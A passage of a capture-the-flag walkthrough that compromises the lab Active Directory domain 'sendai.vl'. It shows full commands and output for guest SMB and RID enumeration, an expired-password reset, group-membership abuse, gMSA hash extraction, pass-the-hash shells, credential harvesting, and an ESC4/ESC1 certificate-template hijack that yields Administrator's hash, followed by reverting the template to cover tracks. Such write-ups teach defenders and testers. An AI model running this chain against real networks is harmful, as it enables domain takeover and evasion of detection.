WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
306
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=)
307
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
308
T2(R=N)
309
T3(R=N)
310
T4(R=N)
311
U1(R=N)
312
IE(R=Y%DFI=N%TG=80%CD=Z)
313

314
Uptime guess: 0.016 days (since Wed Sep 10 21:05:00 2025)
315
Network Distance: 2 hops
316
TCP Sequence Prediction: Difficulty=260 (Good luck!)
317
IP ID Sequence Generation: Incremental
318
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
319

320
Host script results:
321
| smb2-security-mode:
322
|   3:1:1:
323
|_    Message signing enabled and required
324
| smb2-time:
325
|   date: 2025-09-10T20:26:50
326
|_  start_date: N/A
327
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
328
| p2p-conficker:
329
|   Checking for Conficker.C or higher...
330
|   Check 1 (port 46518/tcp): CLEAN (Timeout)
331
|   Check 2 (port 49587/tcp): CLEAN (Timeout)
332
|   Check 3 (port 64934/udp): CLEAN (Timeout)
333
|   Check 4 (port 41472/udp): CLEAN (Timeout)
334
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
335

336
TRACEROUTE (using port 443/tcp)
337
HOP RTT      ADDRESS
338
1   46.56 ms 10.10.14.1 (10.10.14.1)
339
2   46.95 ms 10.129.220.222 (10.129.220.222)
340

341
Read data files from: /usr/share/nmap
342
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
343
# Nmap done at Wed Sep 10 21:27:28 2025 -- 1 IP address (1 host up) scanned in 197.26 seconds

Updating Hosts File#

To ensure proper name resolution for Kerberos authentication and other domain operations, I added the target to my local hosts file:

1
└─$ echo -e "10.129.140.152\tDC.sendai.vl\tsendai.vl\tDC" | sudo tee -a /etc/hosts
2
10.129.140.152  DC.sendai.vl  sendai.vl  DC

SMB Enumeration with Guest Access#

Starting reconnaissance with a guest account enumeration of available SMB shares on the target domain controller:

1
└─$ nxc smb 10.129.220.222 -u "Guest" -p "" --shares
2
SMB         10.129.220.222  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
3
SMB         10.129.220.222  445    DC               [+] sendai.vl\Guest:
4
SMB         10.129.220.222  445    DC               [*] Enumerated shares
5
SMB         10.129.220.222  445    DC               Share           Permissions     Remark
6
SMB         10.129.220.222  445    DC               -----           -----------     ------
7
SMB         10.129.220.222  445    DC               ADMIN$                          Remote Admin
8
SMB         10.129.220.222  445    DC               C$                              Default share
9
SMB         10.129.220.222  445    DC               config
10
SMB         10.129.220.222  445    DC               IPC$            READ            Remote IPC
11
SMB         10.129.220.222  445    DC               NETLOGON                        Logon server share
12
SMB         10.129.220.222  445    DC               sendai          READ            company share
13
SMB         10.129.220.222  445    DC               SYSVOL                          Logon server share
14
SMB         10.129.220.222  445    DC               Users           READ

The enumeration revealed that guest access was enabled, providing READ access to several shares including a company share named “sendai” and the standard Users share.

Since I had read access to the “sendai” share, I explored its contents and discovered an interesting file:

alt text

Analyzing the Security Incident Report#

The incident.txt file contained a revealing security announcement from the IT department:

1
└─$ cat incident.txt
2
Dear valued employees,
3

4
We hope this message finds you well. We would like to inform you about an important security update regarding user account passwords. Recently, we conducted a thorough penetration test, which revealed that a significant number of user accounts have weak and insecure passwords.
5

6
To address this concern and maintain the highest level of security within our organization, the IT department has taken immediate action. All user accounts with insecure passwords have been expired as a precautionary measure. This means that affected users will be required to change their passwords upon their next login.
7

8
We kindly request all impacted users to follow the password reset process promptly to ensure the security and integrity of our systems. Please bear in mind that strong passwords play a crucial role in safeguarding sensitive information and protecting our network from potential threats.
9

10
If you need assistance or have any questions regarding the password reset procedure, please don't hesitate to reach out to the IT support team. They will be more than happy to guide you through the process and provide any necessary support.
11

12
Thank you for your cooperation and commitment to maintaining a secure environment for all of us. Your vigilance and adherence to robust security practices contribute significantly to our collective safety.

This document was gold - it revealed that accounts with weak passwords had been expired, meaning users would need to reset their passwords. This suggested there might be accounts with empty passwords or in a password-must-change state.

Domain User Enumeration#

I proceeded to enumerate all domain users using RID brute forcing to identify potential targets:

1
└─$ nxc smb 10.129.220.222 -u "Guest" -p "" --rid-brute
2
SMB         10.129.220.222  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
3
SMB         10.129.220.222  445    DC               [+] sendai.vl\Guest:
4
SMB         10.129.220.222  445    DC               498: SENDAI\Enterprise Read-only Domain Controllers (SidTypeGroup)
5
SMB         10.129.220.222  445    DC               500: SENDAI\Administrator (SidTypeUser)
6
SMB         10.129.220.222  445    DC               501: SENDAI\Guest (SidTypeUser)
7
SMB         10.129.220.222  445    DC               502: SENDAI\krbtgt (SidTypeUser)
8
SMB         10.129.220.222  445    DC               512: SENDAI\Domain Admins (SidTypeGroup)
9
SMB         10.129.220.222  445    DC               513: SENDAI\Domain Users (SidTypeGroup)
10
SMB         10.129.220.222  445    DC               514: SENDAI\Domain Guests (SidTypeGroup)
11
SMB         10.129.220.222  445    DC               515: SENDAI\Domain Computers (SidTypeGroup)
12
SMB         10.129.220.222  445    DC               516: SENDAI\Domain Controllers (SidTypeGroup)
13
SMB         10.129.220.222  445    DC               517: SENDAI\Cert Publishers (SidTypeAlias)
14
SMB         10.129.220.222  445    DC               518: SENDAI\Schema Admins (SidTypeGroup)
15
SMB         10.129.220.222  445    DC               519: SENDAI\Enterprise Admins (SidTypeGroup)
16
SMB         10.129.220.222  445    DC               520: SENDAI\Group Policy Creator Owners (SidTypeGroup)
17
SMB         10.129.220.222  445    DC               521: SENDAI\Read-only Domain Controllers (SidTypeGroup)
18
SMB         10.129.220.222  445    DC               522: SENDAI\Cloneable Domain Controllers (SidTypeGroup)
19
SMB         10.129.220.222  445    DC               525: SENDAI\Protected Users (SidTypeGroup)
20
SMB         10.129.220.222  445    DC               526: SENDAI\Key Admins (SidTypeGroup)
21
SMB         10.129.220.222  445    DC               527: SENDAI\Enterprise Key Admins (SidTypeGroup)
22
SMB         10.129.220.222  445    DC               553: SENDAI\RAS and IAS Servers (SidTypeAlias)
23
SMB         10.129.220.222  445    DC               571: SENDAI\Allowed RODC Password Replication Group (SidTypeAlias)
24
SMB         10.129.220.222  445    DC               572: SENDAI\Denied RODC Password Replication Group (SidTypeAlias)
25
SMB         10.129.220.222  445    DC               1000: SENDAI\DC$ (SidTypeUser)
26
SMB         10.129.220.222  445    DC               1101: SENDAI\DnsAdmins (SidTypeAlias)
27
SMB         10.129.220.222  445    DC               1102: SENDAI\DnsUpdateProxy (SidTypeGroup)
28
SMB         10.129.220.222  445    DC               1103: SENDAI\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)
29
SMB         10.129.220.222  445    DC               1104: SENDAI\sqlsvc (SidTypeUser)
30
SMB         10.129.220.222  445    DC               1105: SENDAI\websvc (SidTypeUser)
31
SMB         10.129.220.222  445    DC               1107: SENDAI\staff (SidTypeGroup)
32
SMB         10.129.220.222  445    DC               1108: SENDAI\Dorothy.Jones (SidTypeUser)
33
SMB         10.129.220.222  445    DC               1109: SENDAI\Kerry.Robinson (SidTypeUser)
34
SMB         10.129.220.222  445    DC               1110: SENDAI\Naomi.Gardner (SidTypeUser)
35
SMB         10.129.220.222  445    DC               1111: SENDAI\Anthony.Smith (SidTypeUser)
36
SMB         10.129.220.222  445    DC               1112: SENDAI\Susan.Harper (SidTypeUser)
37
SMB         10.129.220.222  445    DC               1113: SENDAI\Stephen.Simpson (SidTypeUser)
38
SMB         10.129.220.222  445    DC               1114: SENDAI\Marie.Gallagher (SidTypeUser)
39
SMB         10.129.220.222  445    DC               1115: SENDAI\Kathleen.Kelly (SidTypeUser)
40
SMB         10.129.220.222  445    DC               1116: SENDAI\Norman.Baxter (SidTypeUser)
41
SMB         10.129.220.222  445    DC               1117: SENDAI\Jason.Brady (SidTypeUser)
42
SMB         10.129.220.222  445    DC               1118: SENDAI\Elliot.Yates (SidTypeUser)
43
SMB         10.129.220.222  445    DC               1119: SENDAI\Malcolm.Smith (SidTypeUser)
44
SMB         10.129.220.222  445    DC               1120: SENDAI\Lisa.Williams (SidTypeUser)
45
SMB         10.129.220.222  445    DC               1121: SENDAI\Ross.Sullivan (SidTypeUser)
46
SMB         10.129.220.222  445    DC               1122: SENDAI\Clifford.Davey (SidTypeUser)
47
SMB         10.129.220.222  445    DC               1123: SENDAI\Declan.Jenkins (SidTypeUser)
48
SMB         10.129.220.222  445    DC               1124: SENDAI\Lawrence.Grant (SidTypeUser)
49
SMB         10.129.220.222  445    DC               1125: SENDAI\Leslie.Johnson (SidTypeUser)
50
SMB         10.129.220.222  445    DC               1126: SENDAI\Megan.Edwards (SidTypeUser)
51
SMB         10.129.220.222  445    DC               1127: SENDAI\Thomas.Powell (SidTypeUser)
52
SMB         10.129.220.222  445    DC               1128: SENDAI\ca-operators (SidTypeGroup)
53
SMB         10.129.220.222  445    DC               1129: SENDAI\admsvc (SidTypeGroup)
54
SMB         10.129.220.222  445    DC               1130: SENDAI\mgtsvc$ (SidTypeUser)
55
SMB         10.129.220.222  445    DC               1131: SENDAI\support (SidTypeGroup)

I extracted all the usernames into a file for password testing:

1
└─$ cat tmp_users.txt | grep SidTypeUser | awk '{print $6}' | awk -F\\ '{print $2}' > users.txt

Testing for Weak Password Policies#

Based on the incident report mentioning weak passwords, I tested if any users had blank passwords or were in a password-must-change state:

1
└─$ nxc smb sendai.vl -u users.txt -p "" --continue-on-success

alt text

I discovered two accounts with “STATUS_PASSWORD_MUST_CHANGE” - exactly what the incident report had hinted at. These accounts (Elliot.Yates and Thomas.Powell) had expired passwords and needed to be reset.

Password Reset and Initial Access#

To take advantage of this, I used NetExec’s password change module to set a new password for Elliot.Yates, thereby obtaining valid domain credentials:

1
└─$ nxc smb sendai.vl -u "Elliot.Yates" -p "" -M change-password -o NEWPASS=Password@123

alt text

With the password successfully changed, I now had working credentials for a domain user account.

Active Directory Analysis with BloodHound#

With valid credentials in hand, I collected comprehensive Active Directory data for analysis using BloodHound:

1
└─$ bloodhound-python -d sendai.vl -u "Elliot.Yates" -p "Password@123" -ns 10.129.125.63 -dc DC.sendai.vl -c All --zip
2
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
3
INFO: Found AD domain: sendai.vl
4
INFO: Getting TGT for user
5
INFO: Connecting to LDAP server: DC.sendai.vl
6
INFO: Found 1 domains
7
INFO: Found 1 domains in the forest
8
INFO: Found 1 computers
9
INFO: Connecting to LDAP server: DC.sendai.vl
10
INFO: Found 27 users
11
INFO: Found 57 groups
12
INFO: Found 2 gpos
13
INFO: Found 5 ous
14
INFO: Found 19 containers
15
INFO: Found 0 trusts
16
INFO: Starting computer enumeration with 10 workers
17
INFO: Querying computer: dc.sendai.vl
18
INFO: Done in 00M 11S
19
INFO: Compressing output into 20250914234327_bloodhound.zip

After ingesting the BloodHound data, I discovered that both Elliot.Yates and Thomas.Powell were members of the “support” group, which had GenericAll privileges on the “ADMSVC” group:

alt text

This GenericAll privilege meant I could add members to the ADMSVC group, I noticed that ADMSVC group can read gmsa password of MGTSVC$, so this might be the correct path

alt text

Exploiting Group Membership Control#

To escalate privileges, I leveraged the GenericAll permission to add Elliot.Yates to the ADMSVC group:

1
└─$ bloodyAD -u "Elliot.Yates" -p "Password@123" -d sendai.vl --host dc.sendai.vl  add groupMember "ADMSVC" "ELLIOT.YATES"
2
[+] ELLIOT.YATES added to ADMSVC

With ADMSVC membership established, I could now access the gMSA password for the MGTSVC$ service account:

1
└─$ nxc ldap sendai.vl -u "Elliot.Yates" -p "Password@123" --gmsa
2
LDAP        10.129.140.152  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:sendai.vl) (signing:None) (channel binding:Never)
3
LDAP        10.129.140.152  389    DC               [+] sendai.vl\Elliot.Yates:Password@123
4
LDAP        10.129.140.152  389    DC               [*] Getting GMSA Passwords
5
LDAP        10.129.140.152  389    DC               Account: mgtsvc$              NTLM: 9ed35c68b88f35007aa32c14c1332ce7     PrincipalsAllowedToReadPassword: admsvc

Using the extracted NTLM hash, I authenticated to the domain controller as the MGTSVC$ service account:

1
└─$ evil-winrm -i sendai.vl -u "mgtsvc$" -H "9ed35c68b88f35007aa32c14c1332ce7"
2

3
Evil-WinRM shell v3.7
4

5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
6

7
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8

9
Info: Establishing connection to remote endpoint
10
*Evil-WinRM* PS C:\Users\mgtsvc$\Documents>

Post-Exploit Enumeration and Privilege Escalation#

With access as the service account, I began exploring the system for additional credentials or attack vectors. A review of the C:\ directory revealed a configuration folder that contained database credentials:

1
*Evil-WinRM* PS C:\> ls
2

3

4
    Directory: C:\
5

6

7
Mode                 LastWriteTime         Length Name
8
----                 -------------         ------ ----
9
d-----         7/11/2023   5:56 AM                config
10
d-----         4/15/2025   8:20 PM                inetpub
11
d-----          5/8/2021   1:20 AM                PerfLogs
12
d-r---         4/15/2025   7:51 PM                Program Files
13
d-----         7/18/2023   6:11 AM                Program Files (x86)
14
d-----         7/18/2023  10:31 AM                sendai
15
d-----         7/11/2023   2:35 AM                SQL2019
16
d-r---         9/17/2025   1:58 AM                Users
17
d-----         8/18/2025   5:04 AM                Windows
18
-a----         4/15/2025   8:27 PM             32 user.txt
19
*Evil-WinRM* PS C:\> cd config
20
*Evil-WinRM* PS C:\config> cat .sqlconfig
21
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;

The SQL configuration file revealed credentials for the sqlsvc account. After testing various privilege escalation vectors with these credentials without success, I shifted focus to enumerating running services for additional attack surfaces.

Process and Service Enumeration#

looking at the processes I found a weird process named helpdesk

alt text

I examined the Windows registry for service configurations containing the name helpdesk:

1
*Evil-WinRM* PS C:\Users\mgtsvc$\documents> dir -Path HKLM:\SYSTEM\CurrentControlSet\services | Get-ItemProperty | Select-Object ImagePath | select-string "helpdesk"

This enumeration revealed another set of credentials embedded in a service configuration for the user Clifford.Davey:

alt text

Analyzing Certificate Authority Permissions#

Referring back to the BloodHound data, I confirmed that Clifford.Davey was a member of the CA-OPERATORS group, which suggested potential access to certificate authority operations:

alt text

Certificate Template Vulnerability Assessment#

With Clifford.Davey’s credentials, I performed a comprehensive enumeration of the Active Directory Certificate Services to identify potential vulnerabilities:

1
└─$ certipy-ad find -u "clifford.davey" -p "RFmoB2WplgE_3p"  -dc-ip 10.129.140.152 -dc-host dc.sendai.vl  -ns 10.129.140.152 -enabled -stdout -vulnerable
2
Certipy v5.0.3 - by Oliver Lyak (ly4k)
3

4
[*] Finding certificate templates
5
[*] Found 34 certificate templates
6
[*] Finding certificate authorities
7
[*] Found 1 certificate authority
8
[*] Found 12 enabled certificate templates
9
[*] Finding issuance policies
10
[*] Found 16 issuance policies
11
[*] Found 0 OIDs linked to templates
12
[*] Retrieving CA configuration for 'sendai-DC-CA' via RRP
13
[*] Successfully retrieved CA configuration for 'sendai-DC-CA'
14
[*] Checking web enrollment for CA 'sendai-DC-CA' @ 'dc.sendai.vl'
15
[*] Enumeration output:
16
Certificate Authorities
17
  0
18
    CA Name                             : sendai-DC-CA
19
    DNS Name                            : dc.sendai.vl
20
    Certificate Subject                 : CN=sendai-DC-CA, DC=sendai, DC=vl
21
    Certificate Serial Number           : 326E51327366FC954831ECD5C04423BE
22
    Certificate Validity Start          : 2023-07-11 09:19:29+00:00
23
    Certificate Validity End            : 2123-07-11 09:29:29+00:00
24
    Web Enrollment
25
      HTTP
26
        Enabled                         : False
27
      HTTPS
28
        Enabled                         : False
29
    User Specified SAN                  : Disabled
30
    Request Disposition                 : Issue
31
    Enforce Encryption for Requests     : Enabled
32
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
33
    Permissions
34
      Owner                             : SENDAI.VL\Administrators
35
      Access Rights
36
        ManageCa                        : SENDAI.VL\Administrators
37
                                          SENDAI.VL\Domain Admins
38
                                          SENDAI.VL\Enterprise Admins
39
        ManageCertificates              : SENDAI.VL\Administrators
40
                                          SENDAI.VL\Domain Admins
41
                                          SENDAI.VL\Enterprise Admins
42
        Enroll                          : SENDAI.VL\Authenticated Users
43
Certificate Templates
44
  0
45
    Template Name                       : SendaiComputer
46
    Display Name                        : SendaiComputer
47
    Certificate Authorities             : sendai-DC-CA
48
    Enabled                             : True
49
    Client Authentication               : True
50
    Enrollment Agent                    : False
51
    Any Purpose                         : False
52
    Enrollee Supplies Subject           : False
53
    Certificate Name Flag               : SubjectAltRequireDns
54
    Enrollment Flag                     : AutoEnrollment
55
    Extended Key Usage                  : Server Authentication
56
                                          Client Authentication
57
    Requires Manager Approval           : False
58
    Requires Key Archival               : False
59
    Authorized Signatures Required      : 0
60
    Schema Version                      : 2
61
    Validity Period                     : 100 years
62
    Renewal Period                      : 6 weeks
63
    Minimum RSA Key Length              : 4096
64
    Template Created                    : 2023-07-11T12:46:12+00:00
65
    Template Last Modified              : 2023-07-11T12:46:19+00:00
66
    Permissions
67
      Enrollment Permissions
68
        Enrollment Rights               : SENDAI.VL\Domain Admins
69
                                          SENDAI.VL\Domain Computers
70
                                          SENDAI.VL\Enterprise Admins
71
      Object Control Permissions
72
        Owner                           : SENDAI.VL\Administrator
73
        Full Control Principals         : SENDAI.VL\Domain Admins
74
                                          SENDAI.VL\Enterprise Admins
75
                                          SENDAI.VL\ca-operators
76
        Write Owner Principals          : SENDAI.VL\Domain Admins
77
                                          SENDAI.VL\Enterprise Admins
78
                                          SENDAI.VL\ca-operators
79
        Write Dacl Principals           : SENDAI.VL\Domain Admins
80
                                          SENDAI.VL\Enterprise Admins
81
                                          SENDAI.VL\ca-operators
82
        Write Property Enroll           : SENDAI.VL\Domain Admins
83
                                          SENDAI.VL\Domain Computers
84
                                          SENDAI.VL\Enterprise Admins
85
    [+] User Enrollable Principals      : SENDAI.VL\Domain Computers
86
                                          SENDAI.VL\ca-operators
87
    [+] User ACL Principals             : SENDAI.VL\ca-operators
88
    [!] Vulnerabilities
89
      ESC4                              : User has dangerous permissions.

The enumeration revealed a critical ESC4 vulnerability in the SendaiComputer certificate template. As documented in the Certipy documentation, ESC4 (Template Hijacking) occurs when an attacker gains write permissions on a certificate template. This vulnerability allows modification of the template to create a vulnerable configuration, request a certificate using the malicious template, and potentially revert changes to cover tracks.

Template Hijacking Attack#

To exploit this vulnerability, I first saved the current template configuration and then modified it to create a vulnerable state:

1
└─$ certipy-ad -debug template -u "clifford.davey@sendai.vl" -p "RFmoB2WplgE_3p" -template SendaiComputer  -dc-ip 10.129.140.152 -dc-host dc.sendai.vl  -target dc.sendai.vl  -write-default-configuration
2
Certipy v5.0.3 - by Oliver Lyak (ly4k)
3

4
[+] Nameserver: '10.129.140.152'
5
[+] DC IP: '10.129.140.152'
6
[+] DC Host: 'dc.sendai.vl'
7
[+] Target IP: '10.129.140.152'
8
[+] Remote Name: 'dc.sendai.vl'
9
[+] Domain: 'SENDAI.VL'
10
[+] Username: 'CLIFFORD.DAVEY'
11
[+] Authenticating to LDAP server using NTLM authentication
12
[+] Using NTLM signing: False (LDAP signing: True, SSL: True)
13
[+] Using channel binding signing: True (LDAP channel binding: True, SSL: True)
14
[+] Using LDAP channel binding for NTLM authentication
15
[+] LDAP NTLM authentication successful
16
[+] Bound to ldaps://10.129.140.152:636 - ssl
17
[+] Default path: DC=sendai,DC=vl
18
[+] Configuration path: CN=Configuration,DC=sendai,DC=vl
19
[*] Saving current configuration to 'SendaiComputer.json'
20
[+] Attempting to write data to 'SendaiComputer.json'
21
[+] Data written to 'SendaiComputer.json'
22
[*] Wrote current configuration for 'SendaiComputer' to 'SendaiComputer.json'
23
[*] Updating certificate template 'SendaiComputer'
24
[*] Replacing:
25
[*]     nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
26
[*]     flags: 66104
27
[*]     pKIDefaultKeySpec: 2
28
[*]     pKIKeyUsage: b'\x86\x00'
29
[*]     pKIMaxIssuingDepth: -1
30
[*]     pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
31
[*]     pKIExpirationPeriod: b'\x00@9\x87.\xe1\xfe\xff'
32
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
33
[*]     pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0']
34
[*]     msPKI-Enrollment-Flag: 0
35
[*]     msPKI-Private-Key-Flag: 16
36
[*]     msPKI-Certificate-Name-Flag: 1
37
[*]     msPKI-Minimal-Key-Size: 2048
38
[*]     msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
39
Are you sure you want to apply these changes to 'SendaiComputer'? (y/N): y
40
[*] Successfully updated 'SendaiComputer'

Verifying Template Modification#

After the modification, I confirmed that the certificate template now exhibited the characteristics of an ESC1 vulnerability (Enrollee Supplies Subject and allows client authentication):

1
└─$ certipy-ad find -u "clifford.davey" -p "RFmoB2WplgE_3p"  -dc-ip 10.129.140.152 -dc-host dc.sendai.vl  -ns 10.129.140.152 -enabled -stdout -vulnerable
2
Certipy v5.0.3 - by Oliver Lyak (ly4k)
3

4
[*] Finding certificate templates
5
[*] Found 34 certificate templates
6
[*] Finding certificate authorities
7
[*] Found 1 certificate authority
8
[*] Found 12 enabled certificate templates
9
[*] Finding issuance policies
10
[*] Found 16 issuance policies
11
[*] Found 0 OIDs linked to templates
12
[*] Retrieving CA configuration for 'sendai-DC-CA' via RRP
13
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
14
[*] Successfully retrieved CA configuration for 'sendai-DC-CA'
15
[*] Checking web enrollment for CA 'sendai-DC-CA' @ 'dc.sendai.vl'
16
[*] Enumeration output:
17
Certificate Authorities
18
  0
19
    CA Name                             : sendai-DC-CA
20
    DNS Name                            : dc.sendai.vl
21
    Certificate Subject                 : CN=sendai-DC-CA, DC=sendai, DC=vl
22
    Certificate Serial Number           : 326E51327366FC954831ECD5C04423BE
23
    Certificate Validity Start          : 2023-07-11 09:19:29+00:00
24
    Certificate Validity End            : 2123-07-11 09:29:29+00:00
25
    Web Enrollment
26
      HTTP
27
        Enabled                         : False
28
      HTTPS
29
        Enabled                         : False
30
    User Specified SAN                  : Disabled
31
    Request Disposition                 : Issue
32
    Enforce Encryption for Requests     : Enabled
33
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
34
    Permissions
35
      Owner                             : SENDAI.VL\Administrators
36
      Access Rights
37
        ManageCa                        : SENDAI.VL\Administrators
38
                                          SENDAI.VL\Domain Admins
39
                                          SENDAI.VL\Enterprise Admins
40
        ManageCertificates              : SENDAI.VL\Administrators
41
                                          SENDAI.VL\Domain Admins
42
                                          SENDAI.VL\Enterprise Admins
43
        Enroll                          : SENDAI.VL\Authenticated Users
44
Certificate Templates
45
  0
46
    Template Name                       : SendaiComputer
47
    Display Name                        : SendaiComputer
48
    Certificate Authorities             : sendai-DC-CA
49
    Enabled                             : True
50
    Client Authentication               : True
51
    Enrollment Agent                    : False
52
    Any Purpose                         : False
53
    Enrollee Supplies Subject           : True
54
    Certificate Name Flag               : EnrolleeSuppliesSubject
55
    Private Key Flag                    : ExportableKey
56
    Extended Key Usage                  : Client Authentication
57
    Requires Manager Approval           : False
58
    Requires Key Archival               : False
59
    Authorized Signatures Required      : 0
60
    Schema Version                      : 2
61
    Validity Period                     : 1 year
62
    Renewal Period                      : 6 weeks
63
    Minimum RSA Key Length              : 2048
64
    Template Created                    : 2023-07-11T12:46:12+00:00
65
    Template Last Modified              : 2025-09-17T21:51:59+00:00
66
    Permissions
67
      Object Control Permissions
68
        Owner                           : SENDAI.VL\Administrator
69
        Full Control Principals         : SENDAI.VL\Authenticated Users
70
        Write Owner Principals          : SENDAI.VL\Authenticated Users
71
        Write Dacl Principals           : SENDAI.VL\Authenticated Users
72
    [+] User Enrollable Principals      : SENDAI.VL\Authenticated Users
73
    [+] User ACL Principals             : SENDAI.VL\Authenticated Users
74
    [!] Vulnerabilities
75
      ESC1                              : Enrollee supplies subject and template allows client authentication.
76
      ESC4                              : User has dangerous permissions.

The template was now vulnerable to both ESC1 and ESC4 attacks, with the critical “Enrollee Supplies Subject” property enabled and permissions allowing authenticated users to enroll.

Administrator Certificate Request#

With the template in a vulnerable state, I requested a certificate for the Administrator account by specifying both the UPN and SID:

1
└─$ certipy-ad -debug req -u "clifford.davey@sendai.vl" -p "RFmoB2WplgE_3p" -ca sendai-DC-CA -template SendaiComputer -target dc.sendai.vl -upn "administrator@sendai.vl" -sid "S-1-5-21-3085872742-570972823-736764132-500" -dc-ip 10.129.140.152 -dc-host dc.sendai.vl
2
Certipy v5.0.3 - by Oliver Lyak (ly4k)
3

4
[+] Nameserver: '10.129.140.152'
5
[+] DC IP: '10.129.140.152'
6
[+] DC Host: 'dc.sendai.vl'
7
[+] Target IP: None
8
[+] Remote Name: 'dc.sendai.vl'
9
[+] Domain: 'SENDAI.VL'
10
[+] Username: 'CLIFFORD.DAVEY'
11
[+] Trying to resolve 'dc.sendai.vl' at '10.129.140.152'
12
[+] Generating RSA key
13
[*] Requesting certificate via RPC
14
[+] Trying to connect to endpoint: ncacn_np:10.129.140.152[\pipe\cert]
15
[+] Connected to endpoint: ncacn_np:10.129.140.152[\pipe\cert]
16
[*] Request ID is 8
17
[*] Successfully requested certificate
18
[*] Got certificate with UPN 'administrator@sendai.vl'
19
[+] Found SID in SAN URL: 'S-1-5-21-3085872742-570972823-736764132-500'
20
[+] Found SID in security extension: 'S-1-5-21-3085872742-570972823-736764132-500'
21
[*] Certificate object SID is 'S-1-5-21-3085872742-570972823-736764132-500'
22
[*] Saving certificate and private key to 'administrator.pfx'
23
[+] Attempting to write data to 'administrator.pfx'
24
[+] Data written to 'administrator.pfx'
25
[*] Wrote certificate and private key to 'administrator.pfx'

Extracting Administrator Credentials#

Using the issued certificate, I extracted the Administrator’s NTLM hash through PKINIT authentication:

1
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.140.152
2
Certipy v5.0.3 - by Oliver Lyak (ly4k)
3

4
[*] Certificate identities:
5
[*]     SAN UPN: 'administrator@sendai.vl'
6
[*]     SAN URL SID: 'S-1-5-21-3085872742-570972823-736764132-500'
7
[*]     Security Extension SID: 'S-1-5-21-3085872742-570972823-736764132-500'
8
[*] Using principal: 'administrator@sendai.vl'
9
[*] Trying to get TGT...
10
[*] Got TGT
11
[*] Saving credential cache to 'administrator.ccache'
12
[*] Wrote credential cache to 'administrator.ccache'
13
[*] Trying to retrieve NT hash for 'administrator'
14
[*] Got hash for 'administrator@sendai.vl': aad3b435b51404eeaad3b435b51404ee:cfb106feec8b89a3d98e14dcbe8d087a

Achieving Domain Administrator Access#

With the Administrator’s NTLM hash in hand, I established a privileged session on the domain controller:

1
└─$ evil-winrm -i sendai.vl -u "administrator" -H cfb106feec8b89a3d98e14dcbe8d087a
2

3
Evil-WinRM shell v3.7
4

5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
6

7
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8

9
Info: Establishing connection to remote endpoint
10
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Covering Tracks#

To maintain operational security and avoid detection, I reverted the certificate template to its original configuration using the previously saved settings:

1
└─$ certipy-ad -debug template -u "clifford.davey@sendai.vl" -p "RFmoB2WplgE_3p" -template SendaiComputer  -dc-ip 10.129.140.152 -dc-host dc.sendai.vl  -target dc.sendai.vl  -write-configuration SendaiComputer.json
2
Certipy v5.0.3 - by Oliver Lyak (ly4k)
3

4
[+] Nameserver: '10.129.140.152'
5
[+] DC IP: '10.129.140.152'
6
[+] DC Host: 'dc.sendai.vl'
7
[+] Target IP: '10.129.140.152'
8
[+] Remote Name: 'dc.sendai.vl'
9
[+] Domain: 'SENDAI.VL'
10
[+] Username: 'CLIFFORD.DAVEY'
11
[+] Authenticating to LDAP server using NTLM authentication
12
[+] Using NTLM signing: False (LDAP signing: True, SSL: True)
13
[+] Using channel binding signing: True (LDAP channel binding: True, SSL: True)
14
[+] Using LDAP channel binding for NTLM authentication
15
[+] LDAP NTLM authentication successful
16
[+] Bound to ldaps://10.129.140.152:636 - ssl
17
[+] Default path: DC=sendai,DC=vl
18
[+] Configuration path: CN=Configuration,DC=sendai,DC=vl
19
[*] Saving current configuration to 'SendaiComputer.json'
20
[+] Attempting to write data to 'SendaiComputer.json'
21
File 'SendaiComputer.json' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
22
[+] Using alternative filename: 'SendaiComputer_9506a2c6-6d67-4177-8b68-50f3bedf034c.json'
23
[+] Data written to 'SendaiComputer_9506a2c6-6d67-4177-8b68-50f3bedf034c.json'
24
[*] Wrote current configuration for 'SendaiComputer' to 'SendaiComputer_9506a2c6-6d67-4177-8b68-50f3bedf034c.json'
25
[*] Updating certificate template 'SendaiComputer'
26
[*] Replacing:
27
